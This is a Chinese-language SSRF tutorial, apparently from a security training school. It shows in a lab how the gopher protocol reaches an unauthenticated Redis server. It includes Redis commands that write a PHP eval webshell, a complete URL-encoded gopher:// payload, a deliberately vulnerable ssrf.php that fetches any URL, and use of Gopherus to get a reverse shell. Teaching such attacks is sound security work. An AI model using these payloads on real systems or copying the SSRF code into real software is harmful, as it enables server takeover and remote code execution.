0×00 前言
大家好,我是掌控安全学院的聂风,SSRF(服务器端请求伪造)漏洞是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。SSRF很多渗透测试人员都知晓,我记忆最深刻的就是白帽大会上面所提及的,虽然SSRF现在被重视了起来,但是还是有很多渗透测试人员,遇到SSRF仅仅就使用HTTP协议看看有没有内网的网站,或者是使用file协议去读取一些本地敏感文件。我这里科普一个gopher协议,看看他能做什么。
0×01 环境搭建
Centos 靶机
Kali攻击机
Lnmp [文中会介绍安装]
Redis[文中会介绍安装]
Gopherus.py [https://github.com/tarunkant/Gopherus]
0x02 正文
我们先开始介绍下我们这篇文章的主角,gopher协议。
Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。随着HTTP协议的壮大,Gopher协议已经慢慢的淡出了我们的视线,但是Gopher协议很多组件都支持并且可以做很多事,在SSRF中,Gopher协议
可以对FTP、Telnet、Redis、Memcache、mysql进行攻击,也可以发送GET、POST 请求。
那么Gopher协议需要如何构造妮?
其实这个协议和http协议很类似,只不过gopher协议没有默认端口,需要特殊指定,而且需要指定POST方法,回车换行需要使用%0d%0a,而且POST参数之间的&分隔符也需要URL编码
我们来看看Gopher协议的基本协议格式
gopher://
那么我们试试看Gopher协议最经典的攻击方式,很多服务默认都不会在公网开启,一般都是仅仅允许本地访问,例如Redis,Redis因为配置不当会造成未授权访问,攻击者可以读取敏感信息,写入文件(不知道的同学可以去补一下这块的知识)
因为gopher协议传参方式是TCP数据流,那么我们可以尝试使用tcpdump或者直接使用Wireshark进行捕捉TCP的传输。
我们现在攻击机上安装一个redis 【安装方法有很多,可以用wget安装,也可以用apt-get安装】【可以参考https://www.cnblogs.com/langtianya/p/5187681.html】我因为是Kali直接apt-get搞定的。
安装成功后会出现这个开心页面的页面
然后我们再开一个窗口,输入redis-cli [进入redis的终端],然后输出ping 如果返回PONG 那么就是成功了
然后我们再进行一些Redis未授权访问的攻击,其中危害最大的莫过于是直接写入Webshell和利用计划任务执行命令反弹shell,这个命令一般Centos容易复现。我们打开我们的抓包工具。
我这里用Wireshark吧。我们先让他去抓lo这个网卡
然后去执行Redis的恶意语句。
config set dir /home/wwwroot/default/
config set dbfilename "shell.php"
set gaia "<?php eval($_POST[a]);?>"
save
exit
/home/wwwroot/default是网站的根目录,这个可以根据网页报错找到,也可以使用file:///协议去读取敏感文件去获取网站根目录。[如果第一条执行不了,可能是你的攻击机器没有这个目录,创建一下就行]
成功写入了webshell
然后我们执行完之后妮
打开Wireshark然后右键追踪流里面,有个TCP流,里面感觉有很多数据,不要害怕,记得去选中我们发送过去的数据【因为我们Redis有数据回显】
然后将获得的数据复制下来
*1
$7
COMMAND
*4
$6
config
$3
set
$3
dir
$22
/home/wwwroot/default/
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*3
$3
set
$4
gaia
$24
<?php eval($_POST[a]);?>
*1
$4
save
然后对这个数据进行处理。先进行一次URL编码[http://tool.oschina.net/encode?type=4%5D,然后将每一个换行用代替转码出来的,记得要把?替换为%3f 然后我们将这个东西再加上gopher的前缀进行执行。
gopher://127.0.0.1:6379/1%0D%0A$7%0D%0ACOMMAND%0D%0A4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$3%0D%0Adir%0D%0A$22%0D%0A/home/wwwroot/default/%0D%0A4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$10%0D%0Adbfilename%0D%0A$9%0D%0Ashell.php%0D%0A3%0D%0A$3%0D%0Aset%0D%0A$4%0D%0Agaia%0D%0A$24%0D%0A%3C%3fphp%20eval($_POST%5Ba%5D);%3f%3E%0D%0A*1%0D%0A$4%0D%0Asave%0D%0A
我们的ssrf.php源码
<?php
$aa = @$_REQUEST['url'];
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$aa);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_HEADER,0);
$output = curl_exec($ch);
echo $output;
if($output === FALSE ){
echo "CURL Error:".curl_error($ch);
}
curl_close($ch);?>
然后执行,就会在根目录生成shell.php
好不容易拿了一个Webshell,这样子真的是异常的麻烦,于是乎有前辈写过一个脚本,gopherus.py,在github可以下载。[这个工具支持多种Gopher协议生成攻击代码]
下载好后直接使用
我们选中redis模块[python gopherus.py --exploit redis]
然后很贴心的问我要webshell还是反弹shell,然后让我们写接受反弹shell的Ip
虽然最后出了点小问题,但是他有显示了POC代码,直接复制粘贴就行,这里监听的是1234端口。
那我们监听1234端口吧!
成功获得反弹Shell,不需要各种抓包、转码多开心。
Gopherus.py还支持几种未授权访问的方法,总的来说还不错。可以都去试一试,很多非加密访问的未授权访问都可以尝试使用Gopher协议去尝试利用!
0×03 总结
其实Gopher协议可以攻击的未授权访问不仅仅只有我列举的和这个工具支持的这几个,我文章中的这些也只是一个抛砖引玉,只是科普一下这个协议,让没有接触过的同学知道他的作用!如果我文章中有什么写的可以再改进的地方,可以随时联系我!谢谢大家花费了时间来读在下的粗鄙小文,谢谢大家!